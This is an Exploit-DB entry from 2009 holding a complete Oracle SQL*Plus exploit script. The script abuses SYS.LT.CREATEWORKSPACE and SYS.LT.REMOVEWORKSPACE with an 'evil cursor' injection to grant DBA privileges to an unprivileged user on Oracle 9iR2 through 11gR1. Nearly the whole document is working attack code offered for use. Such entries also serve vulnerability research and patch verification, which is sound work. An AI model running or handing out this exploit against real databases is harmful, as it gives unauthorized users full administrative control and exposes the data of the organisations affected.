Oracle SYS.LT.REMOVEWORKSPACE Evil Cursor Exploit

############################### # EDB-ID: 10268 # CVE-ID: () # Title: Oracle SYS.LT.REMOVEWORKSPACE Evil Cursor Exploit # Author: Andrea "bunker" Purificato # Published: 2009-12-01 # Download Exploit Code # Download N/A ############################### -- -- sys-lt-removeworkspaceV2.sql -- -- -- Oracle SYS.LT.REMOVEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1) -- Evil cursor technique -- -- Grant dba permission to unprivileged user -- -- -- REF: http://www.google.it/search?q=SYS.LT.REMOVEWORKSPACE -- -- AUTHOR: Andrea "bunker" Purificato -- http://rawlab.mindcreations.com -- -- set serveroutput on; prompt [+] sys-lt-removeworkspaceV2.sql exploit prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; prompt prompt [-] Creating evil cursor... DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0); SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--'); SYS.LT.REMOVEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--'); END; / prompt [-] YOU GOT THE POWAH!!